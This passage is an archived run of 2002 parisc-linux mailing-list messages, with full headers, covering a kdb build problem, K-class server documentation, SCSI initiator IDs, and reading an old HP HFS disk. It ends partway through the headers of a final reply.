Message-ID: <20020708001146.GA3685@systemhalted>
References: <3D27D979.8050100@kabelleipzig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621473 10045 80.91.229.3 (22 Nov 2014 01:57:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: sven schnelle <schnelle@kabelleipzig.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 18:11:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2339E4833
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 18:11:42 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17RM83-0000y9-00; Sun, 07 Jul 2002 20:11:47 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	sven schnelle <schnelle@kabelleipzig.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3D27D979.8050100@kabelleipzig.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (89% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15346

> 
> hello,
> 
> Im writing on a floppy driver for my 712 and want to use kdb,
> 
> but when i try to compile the kernel with it, i get errors:
> 
> kdb/break.h: No such file or directory
> kdb/kgdb_types.h: No such file or directory
> kdb/kgdb_machine.h: No such file or directory
> kdb/trap.h: No such file or directory
> 
> does anybody know where i can get this files ?.
> 
> bye
>     sven

If you haven't already done so, I would recommend getting 
a kdb patched source tree from cvs.parisc-linux.org

There is a 'kdb_v21' branch for the 'linux' tree.

cvs co -rkdb_v21 linux

Please take a look at:
http://cvs.parisc-linux.org

Note: That I'm currently working on kdb's stability...
so you might not get something that is as happy as you
expect from other platofrms.

c.

p.s. Remember to get use the recommended .cvsrc! :)




From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/819/K210
Date: Sun, 07 Jul 2002 18:45:55 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020708004556.145DE4838@dsl2.external.hp.com>
References: <20020707201151.6C150482F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621474 10048 80.91.229.3 (22 Nov 2014 01:57:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Stephan Trajkoff" <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 18:45:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 145DE4838; Sun,  7 Jul 2002 18:45:56 -0600 (MDT)
In-Reply-To: Message from "Stephan Trajkoff" <stephan@itp.bg> 
   of "Sun, 07 Jul 2002 23:12:51 +0300." <20020707201151.6C150482F@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15347

"Stephan Trajkoff" wrote:
> Hello,
> anybody has PDF with specification of this server?

All sorts of manuals for K-class here:
	http://docs.hp.com/hpux/hw/index.html

> Is there any PCI ot EISA slots???

No.

> I can't compile kernel stable...

Can you post the error messages and describe the steps you used to build?

grant



From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP SCSI Multi-Initator issue
Date: Sun, 07 Jul 2002 19:52:28 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20020708025228.4822012C73@debian.cup.hp.com>
References: <5.1.0.14.2.20020703193823.04487c80@mail.AlphaStack.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621474 10063 80.91.229.3 (22 Nov 2014 01:57:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:54 +0000 (UTC)
Cc: icab@High-Availability.com, parisc-linux@lists.parisc-linux.org
To: Giles Gamon <giles@High-Availability.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  7 20:52:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B7C04855
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Jul 2002 20:52:33 -0600 (MDT)
Original-Received: from hpuxmail.cup.hp.com (hpuxmail.cup.hp.com [15.13.189.207])
	by palrel11.hp.com (Postfix) with ESMTP
	id 4869C6002BB; Sun,  7 Jul 2002 19:52:33 -0700 (PDT)
Original-Received: from debian.cup.hp.com (debian.cup.hp.com [15.244.57.47])
	by hpuxmail.cup.hp.com (8.9.3/8.8.6) with ESMTP id TAA15119;
	Sun, 7 Jul 2002 19:52:32 -0700 (PDT)
Original-Received: from cup.hp.com (localhost [127.0.0.1])
	by debian.cup.hp.com (Postfix) with ESMTP
	id 4822012C73; Sun,  7 Jul 2002 19:52:28 -0700 (PDT)
In-Reply-To: Your message of "Wed, 03 Jul 2002 20:09:36 -0000."
             <5.1.0.14.2.20020703193823.04487c80@mail.AlphaStack.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15348

Giles Gamon wrote:
...
> I read your posting (including source code with great interest);
> http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2002-January/030292.
>   html
...

> HP have (probably for commercial reasons) removed the easy way of changing 
> the host adapters SCSI ID.

No. You can change it from firmware prompt on most parisc machines.
interrupt the boot process and on newer machines one can enter "co" to
get to the configuration menu.

> The SCSI INITIATOR ID is stored in a motherboard NVRAM (or similar) and 
> loaded by the motherboard BIOS, the OS then loads and uses it but has no 
> way of changing it.

That's correct.
Firmware folks don't like OS writing stuff in their space.

> Are you aware of any potential dangers if we should want to switch back to 
> running HP-UX, i.e. would need changing back or checksums on the memory?

PDC doesn't care which OS is running.
You should be able to just install HPUX and everything
should work normally. AFAIK, Installing HPUX will only change the
primary boot path that is stored NVRAM (using PDC calls, not by
directly writing it).

grant



From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/819/K210
Date: Mon, 08 Jul 2002 09:19:12 +0300
Lines: 7
Approved: news@gmane.org
Message-ID: <3D292EE0.304@itp.bg>
References: <20020707201151.6C150482F@dsl2.external.hp.com> <20020708004556.145DE4838@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621474 10067 80.91.229.3 (22 Nov 2014 01:57:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:54 +0000 (UTC)
To: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 00:16:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id ADCA14839
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 00:16:03 -0600 (MDT)
Original-Received: (qmail 30392 invoked from network); 8 Jul 2002 06:17:05 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 8 Jul 2002 06:17:05 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15349

Hello,
TEAM from esiee.fr told me that it is common SMP problem...
after heavy compilation, 'w' and 'ps ax' don't work





From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb include files
Date: Mon, 8 Jul 2002 07:42:46 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20020708064246.GC815@tykepenguin.com>
References: <3D27D979.8050100@kabelleipzig.de> <20020708001146.GA3685@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621474 10068 80.91.229.3 (22 Nov 2014 01:57:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 00:42:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01ADF482D
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 00:42:47 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17RSEQ-0001Jc-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 08 Jul 2002 07:42:46 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020708001146.GA3685@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15350

On Sun, Jul 07, 2002 at 08:11:47PM -0400, Carlos O'Donell wrote:
> > 
> > hello,
> > 
> > Im writing on a floppy driver for my 712 and want to use kdb,
> > 
> > but when i try to compile the kernel with it, i get errors:
> > 
> > kdb/break.h: No such file or directory
> > kdb/kgdb_types.h: No such file or directory
> > kdb/kgdb_machine.h: No such file or directory
> > kdb/trap.h: No such file or directory
> > 
> > does anybody know where i can get this files ?.
> > 
> > bye
> >     sven
> 
> If you haven't already done so, I would recommend getting 
> a kdb patched source tree from cvs.parisc-linux.org
> 
> There is a 'kdb_v21' branch for the 'linux' tree.
> 
> cvs co -rkdb_v21 linux
> 
> Please take a look at:
> http://cvs.parisc-linux.org
> 
> Note: That I'm currently working on kdb's stability...
> so you might not get something that is as happy as you
> expect from other platofrms.

It's a little confusing that there's mention of KDB in the
non-KDB enabled kernel. Under General Options it says 
"Kernel Debugger support" which seems (to me) to have the
sole function of generating the above messages :)

patrick




From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: sven schnelle <schnelle@kabelleipzig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb include files
Date: Mon, 08 Jul 2002 09:03:45 +0200
Lines: 131
Approved: news@gmane.org
Message-ID: <3D293951.6060702@kabelleipzig.de>
References: <3D27D979.8050100@kabelleipzig.de> <20020708001146.GA3685@systemhalted> <20020708064246.GC815@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------040502000209020904040806"
X-Trace: ger.gmane.org 1416621475 10069 80.91.229.3 (22 Nov 2014 01:57:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 01:05:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.kabelleipzig.de (unknown [80.146.194.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 1B1C74860
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 01:05:20 -0600 (MDT)
Original-Received: from kabelleipzig.de (10.50.33.20)
          by mail.kabelleipzig.de with MERCUR-SMTP/POP3/IMAP4-Server (v3.30.09 AS-000000008)
          for <parisc-linux@lists.parisc-linux.org>; Mon, 8 Jul 2002  09:05:16 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15351

--------------040502000209020904040806
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit

Patrick Caulfield wrote:

>On Sun, Jul 07, 2002 at 08:11:47PM -0400, Carlos O'Donell wrote:
>  
>
>>>hello,
>>>
>>>Im writing on a floppy driver for my 712 and want to use kdb,
>>>
>>>but when i try to compile the kernel with it, i get errors:
>>>
>>>kdb/break.h: No such file or directory
>>>kdb/kgdb_types.h: No such file or directory
>>>kdb/kgdb_machine.h: No such file or directory
>>>kdb/trap.h: No such file or directory
>>>
>>>does anybody know where i can get this files ?.
>>>
>>>bye
>>>    sven
>>>      
>>>
>>If you haven't already done so, I would recommend getting 
>>a kdb patched source tree from cvs.parisc-linux.org
>>
>>There is a 'kdb_v21' branch for the 'linux' tree.
>>
>>cvs co -rkdb_v21 linux
>>
>>Please take a look at:
>>http://cvs.parisc-linux.org
>>
>>Note: That I'm currently working on kdb's stability...
>>so you might not get something that is as happy as you
>>expect from other platofrms.
>>    
>>
>
>It's a little confusing that there's mention of KDB in the
>non-KDB enabled kernel. Under General Options it says 
>"Kernel Debugger support" which seems (to me) to have the
>sole function of generating the above messages :)
>
>patrick
>  
>
that's right. If I disable it under general options and patch 
the kernel as written above kdb works.

thanks, 

  sven



--------------040502000209020904040806
Content-Type: text/html; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <title></title>
</head>
<body>
Patrick Caulfield wrote:<br>
<blockquote type="cite" cite="mid20020708064246.GC815@tykepenguin.com">
  <pre wrap="">On Sun, Jul 07, 2002 at 08:11:47PM -0400, Carlos O'Donell wrote:
  </pre>
  <blockquote type="cite">
    <blockquote type="cite">
      <pre wrap="">hello,

Im writing on a floppy driver for my 712 and want to use kdb,

but when i try to compile the kernel with it, i get errors:

kdb/break.h: No such file or directory
kdb/kgdb_types.h: No such file or directory
kdb/kgdb_machine.h: No such file or directory
kdb/trap.h: No such file or directory

does anybody know where i can get this files ?.

bye
    sven
      </pre>
    </blockquote>
    <pre wrap="">If you haven't already done so, I would recommend getting 
a kdb patched source tree from cvs.parisc-linux.org

There is a 'kdb_v21' branch for the 'linux' tree.

cvs co -rkdb_v21 linux

Please take a look at:
<a class="moz-txt-link-freetext" href="http://cvs.parisc-linux.org">http://cvs.parisc-linux.org</a>

Note: That I'm currently working on kdb's stability...
so you might not get something that is as happy as you
expect from other platofrms.
    </pre>
  </blockquote>
  <pre wrap=""><!---->
It's a little confusing that there's mention of KDB in the
non-KDB enabled kernel. Under General Options it says 
"Kernel Debugger support" which seems (to me) to have the
sole function of generating the above messages :)

patrick
  </pre>
</blockquote>
<pre wrap="">that's right. If I disable it under general options and patch 
the kernel as written above kdb works.

thanks, 

  sven
</pre>
<br>
</body>
</html>

--------------040502000209020904040806--




From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <dlorin@univ-rennes1.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to mount HFS 6.0 ?
Date: Mon, 08 Jul 2002 09:05:59 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <200207080705.JAA06652__21615.4656642631$1416621475$gmane$org@mailimailo.univ-rennes1.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621475 10072 80.91.229.3 (22 Nov 2014 01:57:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:55 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 01:06:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailimailo.univ-rennes1.fr (mailimailo.univ-rennes1.fr [129.20.131.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6CF94860
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 01:06:02 -0600 (MDT)
Original-Received: from univ-rennes1.fr (localhost [127.0.0.1])
          by mailimailo.univ-rennes1.fr (8.9.3/jtpda-5.3.3) with ESMTP id JAA06652
          ; Mon, 8 Jul 2002 09:05:59 +0200 (MET DST)
X-Mailer: IMHO for Roxen
X-Originating-IP: [129.20.249.77]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15352

The content of my question concerns the "old fellows", who were using the 
ancient series HP/9000/3xx or 4xx and whom I hope to find reading this 
mails-list. But anyone, able to help me, is welcome...

I took a disk SCSCI-1 out of a station 425t running with BASIC-UX. On this one, 
there are several files (data and programs written in HP-BASIC) I want to reach 
in reading with my 715/50 running with Woody. How to do that?

Nota:
1) the filesystem's type on this disk is: HFS version 6.0.
2) the disk is already installed in the daisy chain SCSI and correctly 
identified during the boot sequence.

Thanks.
D. Lorin




From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] modem on k210/819
Date: Mon, 08 Jul 2002 14:12:52 +0300
Lines: 5
Approved: news@gmane.org
Message-ID: <3D2973B4.4080807@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621475 10073 80.91.229.3 (22 Nov 2014 01:57:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:55 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 05:12:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id D224B484E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 05:12:51 -0600 (MDT)
Original-Received: (qmail 5413 invoked from network); 8 Jul 2002 11:13:54 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 8 Jul 2002 11:13:54 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15353

Hello, anyone knows how to run modem under k210/819 HP?
I want to make dial-in with this modem




From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: How to mount HFS 6.0 ?
Date: 08 Jul 2002 08:32:54 -0400
Organization: mkp.net
Lines: 34
Approved: news@gmane.org
Message-ID: <yq1sn2ummbt.fsf__37833.3779437982$1416621476$gmane$org@austin.mkp.net>
References: <200207080705.JAA06652@mailimailo.univ-rennes1.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621476 10078 80.91.229.3 (22 Nov 2014 01:57:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:56 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	<parisc-linux@lists.parisc-linux.org>
To: <dlorin@univ-rennes1.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 06:33:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.mkp.net (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 893E14868
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 06:33:05 -0600 (MDT)
Original-Received: from austin.mkp.net ([10.0.0.2])
	by rover.mkp.net with esmtp (Exim 3.33 #1)
	id 17RXhJ-0001u6-00; Mon, 08 Jul 2002 08:32:57 -0400
Original-Received: (from mkp@localhost)
	by austin.mkp.net (8.11.6/8.11.6) id g68CWs601286;
	Mon, 8 Jul 2002 08:32:54 -0400
X-Authentication-Warning: austin.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <200207080705.JAA06652@mailimailo.univ-rennes1.fr>
Original-Lines: 32
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
